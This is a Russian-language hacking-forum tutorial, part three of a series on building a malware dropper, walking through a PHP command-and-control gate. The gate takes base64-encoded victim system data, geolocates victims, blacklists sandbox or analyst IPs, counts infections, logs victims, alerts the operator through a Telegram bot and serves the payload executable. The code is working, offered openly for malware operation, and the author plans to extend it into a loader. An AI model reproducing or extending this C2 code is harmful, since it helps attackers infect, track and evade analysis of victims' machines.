• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Пишем свой простейший дроппер на плюсах 3

admin

#root
Администратор
Регистрация
20.01.2011
Сообщения
7,665
Розыгрыши
0
Реакции
135
В прошлой части мы настраивали сервер и устанавливали php, curl и делали принудительный блок доступа ко всем файлам с расширениями .txt, .exe, zip. В этой же части мы будем дальше знакомиться с пхп и напишем свой сервер.

Но всё же почему мы выбрали именно PHP? ->
Во-первых, PHP - это как старый кореш, который всегда под рукой. Этот язык живёт на серверах с 90-х, и за это время он накачал такие мускулы, что мама не горюй. Почти любой хостинг его поддерживает, так что ты можешь развернуть свой код где угодно, хоть на доисторическом сервере, хоть на крутом облаке.
Теперь давай про скорость потрём. PHP может быть быстрым, как понос после просроченной шаурмы, если знать, как с ним обращаться. Вот тебе пару секретов:
  1. Опкод-кеширование. Это как турбонаддув для твоего кода. PHP не тупит и не компилирует код каждый раз заново, а хранит готовые инструкции в памяти. Врубаешь какой-нибудь OPcache, и твой сайт начинает шуршать, как новенький.
  2. Встроенный веб-сервер. PHP может работать сам по себе, без Apache или Nginx. Это как езда без лишнего багажа - чем меньше лишнего, тем быстрее едешь.
  3. Нативные функции. PHP написан на С, и многие его функции - это просто обёртки над сишным кодом. Они работают со скоростью света, особенно когда дело касается работы со строками или массивами.
  4. Асинхронность. С PHP 7.1 завезли подобие асинхронности. Ты можешь запустить несколько задач параллельно, и PHP будет жонглировать ими, как цирковой артист. Это особенно круто, когда нужно обработать кучу запросов одновременно.
  5. JIT-компиляция. Начиная с PHP 8.0, появился Just-In-Time компилятор. Это как нитро для твоего кода - он на лету оптимизирует часто выполняемые участки, превращая их в машинный код.
Но PHP - это не только скорость. Это ещё и удобство, как старые домашние тапки. Вот смотри:
  1. Простой синтаксис. Ты можешь начать кодить на PHP, даже если до этого только калькулятор программировал. Никаких сложных конструкций, всё просто и понятно.
  2. Огромное комьюнити. Застрял? Загугли свой вопрос, и найдёшь ответ быстрее, чем успеешь сказать "Сто кебаб ну буду".
  3. Куча фреймворков. Laravel, Symfony, CodeIgniter - выбирай на любой вкус. Это как конструктор Lego для взрослых программистов.
  4. Встроенная поддержка баз данных. PHP дружит со всеми популярными БД из коробки. MySQL, PostgreSQL, SQLite - без проблем, подключайся и погнали.
  5. Масштабируемость. PHP может работать как на маленьком сайте-визитке, так и на монстре вроде Facebook. Это как универсальный солдат - куда ни пошли, везде пригодится.
А теперь давай про то, почему PHP - лучший выбор для сервера:
  1. Специально для веба. PHP изначально создавался для веб-разработки. Это как специальные беговые кроссовки - ты можешь бегать и в обычных, но в специальных будет удобнее и быстрее.
  2. Встроенный шаблонизатор. Ты можешь смешивать HTML и PHP код, что упрощает создание динамических страниц. Это как готовить суп и второе в одной кастрюле - экономия времени и сил.
  3. Легкость развертывания. Закинул файлы на сервер, и всё работает. Никаких сложных настроек, компиляций или зависимостей. Это как микроволновка - сунул, нажал кнопку, и готово.
  4. Богатая стандартная библиотека. В PHP из коробки есть куча полезных функций для работы с файлами, сетью, криптографией и т.д. Это как швейцарский нож - всё, что нужно, всегда под рукой.
  5. Поддержка различных протоколов. HTTP, FTP, IMAP, POP3 - PHP работает со всем этим из коробки. Ты можешь создавать сложные сетевые приложения, не устанавливая дополнительных библиотек.
Но схемка которую мы будем делать будет похожа на MITRE Attack, что же это такое.
MITRE ATT&CK - это комплексная база знаний тактик и техник, используемых в кибератаках. Она представляет собой структурированный каталог известных приемов злоумышленников(шкодников как мы), основанный на реальных наблюдениях.
Структура MITRE ATT&CK напоминает поэтапное описание сложной операции. Она начинается с "разведки", переходит к "первоначальному доступу", затем к "закреплению" в системе и так далее, вплоть до "экфильтрации данных". Каждый этап содержит множество конкретных техник.
Например, в разделе "первоначальный доступ" можно найти такие техники, как "фишинг", "эксплуатация уязвимостей в общедоступных приложениях", "использование скомпрометированных учетных данных" и другие. Это своего рода каталог инструментов, которые могут быть использованы для проникновения в систему.
Уникальность MITRE ATT&CK заключается в том, что она не только описывает техники атак, но и предоставляет информацию о методах защиты от них. Это делает её ценным ресурсом как для специалистов по безопасности, так и для разработчиков систем защиты.
MITRE ATT&CK постоянно обновляется, отражая появление новых техник атак и методов защиты. Это живая, развивающаяся база знаний, которая стремится охватить все аспекты современных киберугроз.
Данная тактика используется различными специалистами в сфере кибербезопасности. Специалисты по защите применяют её для оценки уязвимостей своих систем и разработки стратегий защиты. Этичные хакеры используют её как основу для проведения тестов на проникновение. Даже малвейр девелоперы могут обращаться к ней как к источнику идей для новых атак.
MITRE ATT&CK - это не просто перечень техник, а целостный подход к пониманию кибербезопасности. Она предоставляет общий язык для обсуждения угроз и уязвимостей, что способствует лучшему взаимодействию между специалистами в этой области.
Одно из главных преимуществ MITRE ATT&CK - её доступность. Эта база знаний бесплатна и открыта для всех желающих. Любой может посетить сайт MITRE и изучить описанные там техники и тактики.
Составляем свою план-схемку
Обсудив про php и поняв что такое MITRE наконец приступим к реализации работы сервера, прикидываем в голове, но вам сделаю картинками(убил порядка 30 минут ну ладно). Коннект у нас будет вида Gate.php и тактика соответственно такой же почти как у всех вредоносов и даже легитных приложений.
После всех размышленй составлять схему нашего дроппера видим наш главный файл сначала забирает информацию о системе, а потом получает её, но тут ещё немного не хватает поэтому дополним схемку новыми пунктами.
Посмотреть вложение 88624
Для начала разберёмся с первой цепочкой данных, он будет собирать информацию отправлять на сервер, а сервер будет выполнять функции проверки, сбора и уведомлений в телеграмм или другое место. Проверять он будет айпи и параметры, и вносить в блек листы айпи у которых параметров нету или они 0вые, уже дальше будем реализовывать проверку самих параметров, таких как оперативная память, видеокарта, процессор.
Посмотреть вложение 88625
Но кажется что-то мы забыли, а именно шифрование и дешифрование данных, пока возьмем base64, а позже перейдём к более серьёзным. Теперь сервер у нас сместиться на одну позицию вперёд и схема в общем поменяется очень сильно, примерно следующего вида.
Посмотреть вложение 88626
Общение с сервером будем примерно такого формата в ближайщем будущем можно добавить серверную компрессию архивом, но пока отстранимся от этого. Получать будем GET запросом отправлять собственно им же, через квери. Сначала предлагаю написать серверную часть, это проще и не нужно особого знания для этого, достаточно изучить синтаксис PHP. С PHP я знаком не особо много и хорошо, поэтому если будут спорные моменты поправляйте меня. И как вы могли заметить наш дроппер уже стал походить на лоадер по этой схеме, только он пока не умеет запускать в себе не чего.
Написание PHP скрипта
Ну что же приступим к написанию пхп скрипта который будет получать тип через GET запрос и далее парсить параметры.
PHP:
<?php
$type = $_GET['event'];
if (empty($type)) {
 die('О привет');
}
function getCountry() {
    $ip = $_SERVER['REMOTE_ADDR'];

    $url = "http://www.geoplugin.net/json.gp?ip=". $ip;

    $data = file_get_contents($url);
    $info = json_decode($data);

    return $info->geoplugin_countryName;
}
if (htmlspecialchars($type) == 'connect'){
    die(getCountry());
}
?>
И так наш Gate.php обзавёлся параметром event, как же это будет работать, server/Gate.php?event=имя , то-есть мы проверяем на его наличие, и если его нету, то говорим "О привет", а если он есть и равен connect то выдаём имя страны айпи адреса, после проверяем работоспособность этого кода.
Посмотреть вложение 88628
Как мы видим когда наш event нулёвый или его нету то у нас пишет сообщение. А когда не нулёвый и равен коннекту, то показывает страну.
Посмотреть вложение 88629
Далее будем писать выборку параметров, скорее всего это будут buildID и Info, пока будем без jsonа, но чуть попозже будем использовать его.
PHP:
if (htmlspecialchars($type) == 'connect'){
    $build = ($_GET['id']);
    $info = ($_GET['info']);
}
Тут все просто и линейно, так же мы забыли добавить наш base64 дешифратор, потому что дроппер будет отправлять инфу зашифрованную в нём.
PHP:
    $build = base64_decode($_GET['id']);
    $info = base64_decode($_GET['info']);
Примерно такого вида будет код. После добавлем проверку на эти переменные пустые они или нет, допустим у нас build будет длинной от 8 символов, а информация от 16.
PHP:
$build_min_len = 8;
$info_min_len = 16;
if (htmlspecialchars($type) == 'connect'){
    $build = base64_decode($_GET['id']);
    $info = base64_decode($_GET['info']);
    if(strlen($build) < $build_min_len || strlen($info) < $info_min_len){
        die('error');
    }
   die($build.' '.$info);
}
Снова же проверим код всё ли правильно работает, для этого шифруем строку в base64 длинной 8 и другую длинной в 16. Эти 2 параметра уже будут в нашей урлке вида Gate.php?type=event&id=base64id&info=base64inf
https://localhost/Gate.php?event=connect&id=MTIzNDU2Nzg=&info=aW5mb3JtYXRpb24xMjM0NTY3OA==
Посмотреть вложение 88630
Если длина меньше у одного из параметров то не пускает. https://localhost/Gate.php?event=connect&id=MTIzNDU2Nzg=&info=SW5vcm1hdGlvbjEyMzQ1
Посмотреть вложение 88631
Теперь замутим метод отправки сообщения в телеграмм группу или в чат, благо делается это очень просто, тут нам и пригодился наш CURL, можно было сделать и по другому, в пхп много встроенных функций для этого в целом.
PHP:
function sendToTelegram($message){
    $botToken = 'token';

    $chatId = 'id';

    $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=". urlencode($message);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);
}
Здесь botToken токен вашего бота с BotFather, $charId - айди чата в телеграмм, допустим если вы добавили в приватную группу то уведомление можно получать и там, достаточно добавить бота розу и написать /id чтобы узнать айди чата.
Сделаем функцию получения времени чтобы знать в какое время к нам законектились
PHP:
function getTimeDate(){
    $date = new DateTime('now');
    $formattedDate = ''.$date->format('Y-m-d H:i:s').'';
    return $formattedDate;
}
В данном примере более подробный формат даты можно было оставить только дату, время и год без секунд. Пока не будем делать database для нашего сервера, поэтому кол-во коннектов будем записывать в файлик connects.txt, работать будем максимально просто и линейно, записываем сначала в файл число 1 после первого коннекта, а после каждого нового будем добавлять +1, это очень простая реализация со времён динозавров.
Метод получения коннектов с файлика.
PHP:
$connectsFile = "connects.txt";
function getConnects(){
    $connectsData = file_get_contents($connectsFile);
    $total = intval($connectsData);
    return $total;
}
Теперь же напишем функцию добавления
PHP:
function addConnect(){
    $connectsCount = getConnects();
    $connectsCount++;
    file_put_contents($connectsFile, $connectsCount);
}
Код тоже со времён динозавров, и тут мы видим сходство со многими языками которые есть в принципе та же java, Cи подобные и различные скрипты. Да и как выше сказано php довольно простой и язык не требующий дополнительных библиотек и компонентов для работы.

Настало время начинать делать блэк лист, будем писать туда айпи адреса у которых параметр event нулёвый или его нету, а так же у кого билд айди или информация по длине меньше чем положено установленным значением.
Айпи адресс мы получаем следующим образом $ipAddress = $_SERVER['REMOTE_ADDR']; возможно внимательные уже видели его в getCountry() в примере выше, ну а мы приступаем к реализации записи айпи адреса в блек лист, скорее всего сделаем файл и будем с каждой новой строки писать новый айпи адрес, так же можно добавить айпи адреса с других более больших листов кто держит свои лодеры / стилеры / боты на форуме есть тема об этом.
PHP:
$type = $_GET['event'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
$blockedFile = "bots.txt";
function addToBlackList(){
    file_put_contents($blockedFile, "\n".$ipAddress, FILE_APPEND);
}
Добавляем наверх нашего скрипта следующий код, здесь добавление с каждой новой строки айпи адреса в файл, теперь будем писать функцию проверки наличия айпи адреса в данном файле. Так как у нас каждый айпи идёт с новой строки то можно использовать функцию file в пхп котораая читает в array, и так же для проверки наличия в этом массиве у нас есть функция in_array, которая встроена в php, код сделаем следующего вида с FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES , т.е скипаем ещё и пустые строки, они нам не помеха.
PHP:
function isBlackListed(){
    $blockedIps = file($blockedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (in_array($ipAddress, $blockedIps)) {
        die("error");
    }
}
Итоговый суммарный код у нас получился пока что следующего вида:
PHP:
<?php
$type = $_GET['event'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
$blockedFile = "bots.txt";
function addToBlackList(){
    file_put_contents($blockedFile, "\n".$ipAddress, FILE_APPEND);
}
function isBlackListed(){
    $blockedIps = file($blockedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (in_array($ipAddress, $blockedIps)) {
        die("error");
    }
}
if (empty($type)) {
    addToBlackList();
}
function getCountry() {
    $ip = $_SERVER['REMOTE_ADDR'];

    $url = "http://www.geoplugin.net/json.gp?ip=". $ip;

    $data = file_get_contents($url);
    $info = json_decode($data);

    return $info->geoplugin_countryName;
}
function sendToTelegram($message){
    $botToken = '';

    $chatId = '';

    $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=". urlencode($message);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);
}
function getTimeDate(){
    $date = new DateTime('now');
    $formattedDate = ''.$date->format('Y-m-d H:i:s').'';
    return $formattedDate;
}
$connectsFile = "connects.txt";
function getConnects(){
    $connectsData = file_get_contents($connectsFile);
    $total = intval($connectsData);
    return $total;
}
function addConnect(){
    $connectsCount = getConnects();
    $connectsCount++;
    file_put_contents($connectsFile, $connectsCount);
}
$build_min_len = 8;
$info_min_len = 16;
if (htmlspecialchars($type) == 'connect'){
    $build = base64_decode($_GET['id']);
    $info = base64_decode($_GET['info']);
    if(strlen($build) < $build_min_len || strlen($info) < $info_min_len){
        addToBlackList();
    }
    addConnect();
 
    die($build.' '.$info);
}
?>
Теперь же его проверим. Оп и сразу ошибочка, нашлась благодаря встроенному еррор хэндлеру в пхп, делаем вот так чтобы показать ошибки, в начало файл пишем
PHP:
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
И тут мы увидили на какой строке ошибка, потому что в функциях в пхп надо писать global $variableName для того чтобы предекларировать его.
PHP:
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
$type = $_GET['event'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
$blockedFile = "bots.txt";
function addToBlackList(){
    global $ipAddress;
    global $blockedFile;
    file_put_contents($blockedFile, "\n".$ipAddress, FILE_APPEND);
    die("error");
}
function isBlackListed(){
    global $ipAddress;
    global $blockedFile;
    $blockedIps = file($blockedFile, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
    if (in_array($ipAddress, $blockedIps)) {
        die("error");
    }
}
isBlackListed();
if (empty($type)) {
    addToBlackList();
}
function getCountry() {
    $ip = $_SERVER['REMOTE_ADDR'];

    $url = "http://www.geoplugin.net/json.gp?ip=". $ip;

    $data = file_get_contents($url);
    $info = json_decode($data);

    return $info->geoplugin_countryName;
}
function sendToTelegram($message){
    $botToken = '';

    $chatId = '';

    $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=". urlencode($message);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);
}
function getTimeDate(){
    $date = new DateTime('now');
    $formattedDate = ''.$date->format('Y-m-d H:i:s').'';
    return $formattedDate;
}
$connectsFile = "connects.txt";
function getConnects(){
    global $connectsFile;
    $connectsData = file_get_contents($connectsFile);
    $total = intval($connectsData);
    return $total;
}
function addConnect(){
    global $connectsFile;
    $connectsCount = getConnects();
    $connectsCount++;
    file_put_contents($connectsFile, $connectsCount);
}
$build_min_len = 8;
$info_min_len = 16;
if (htmlspecialchars($type) == 'connect'){
    $build = base64_decode($_GET['id']);
    $info = base64_decode($_GET['info']);
    if(strlen($build) < $build_min_len || strlen($info) < $info_min_len){
        addToBlackList();
    }
    addConnect();
 
    die($build.' '.$info);
}
?>
Так выглядит рабочий код, теперь проверим ещё и запись в файл. Видим она тоже работает, на имя не обращайте внимание просто bots.txt уже валяется рядом.
Посмотреть вложение 88633
При повторном заходе наблюдаем ошибочку
Посмотреть вложение 88634
А кол-во коннектов осталось прошлым потому что мы херачим ботов до записи в файл.
Посмотреть вложение 88635
Нас просто не пускает дальше и код умирает до подхода к нашему eventу, давай те же сделаем теперь отправку уведомления в телеграмм, метод мы написали ещё до этого нам осталось только понять что мы будем отправлять и зачем. Допустим отправляем айпи страну и кол-во запусков текущее, больше смысла для отправки не вижу.
Сделать это довольно таки просто, а для форматирования текста с новой строки просто пишем \n
PHP:
$message = "Новое подключение\nIP: $ipAddress\nDownloads count: " . getConnects() . "\nCountry: " . getCountry();
sendToTelegram($message);
Выкидываемся из блек листа в который мы недавно запускались, добавляем созданного бота в беседу и даём ему права на сообщения. И вот ж винде надо было мне кинуть синий скрин на этом моменте. и пришлось половину дописывать с нуля, накачу линукс в ближайшем времени, там таких проблем нету и вся инфа у меня сохраняется, а провисов и подавно мало, комп может днями быть включенным. Проверяем отработку нашего сообщения в телеграмм.
Посмотреть вложение 88638
Теперь предлагаю реализовать более подробную стату со временем в .txt файл на сервере, так же записываем параметры id, info и используем функцию для получения времени.
PHP:
$statFile = "dropper-stat.txt";
function setStat($data){
    global $statFile;
    file_put_contents($statFile, $data);
}
$build_min_len = 8;
$info_min_len = 16;
if (htmlspecialchars($type) == 'connect'){
    $build = base64_decode($_GET['id']);
    $info = base64_decode($_GET['info']);
    if(strlen($build) < $build_min_len || strlen($info) < $info_min_len){
        addToBlackList();
    }
    addConnect();
    $message = "Новое подключение\nIP: $ipAddress\nDownloads count: " . getConnects() . "\nCountry: " . getCountry();
    sendToTelegram($message);
    $spl = " | ";
    $data = getConnects().$spl.getTimeDate().$spl.$ipAddress.$spl.$build.$spl.$info;
    setStat($data);
    die($build.' '.$info);
}
?>
Посмотреть вложение 88639
Текст успешно записался в статистику. Мы ещё забыли сделать выдачу exe, но это очень просто достаточно написать die(file_get_contents("имя")); и exe успешно выдастся.

И думаю на этом можно завершить нашу третью часть, сервер конечно дописан, но есть ещё много что добавить, допустим простейший xorCrypt для строк, а так же наверное нормальную базу данных, json, а не писать тупо в файлики доисторическими методами со времён динозавров. Пока у нас получается неплохо и у меня есть немножко свободного времени для написания, поэтому каждый день будет новая часть или даже каждые 12 часов.
Не буду против если кто-то скинет на печеньку или кофе, дальше думаю перерастём от дропппера до лоадера, там будет немножко посложнее.

by: MoilerRenoiler
 
Activity
So far there's no one here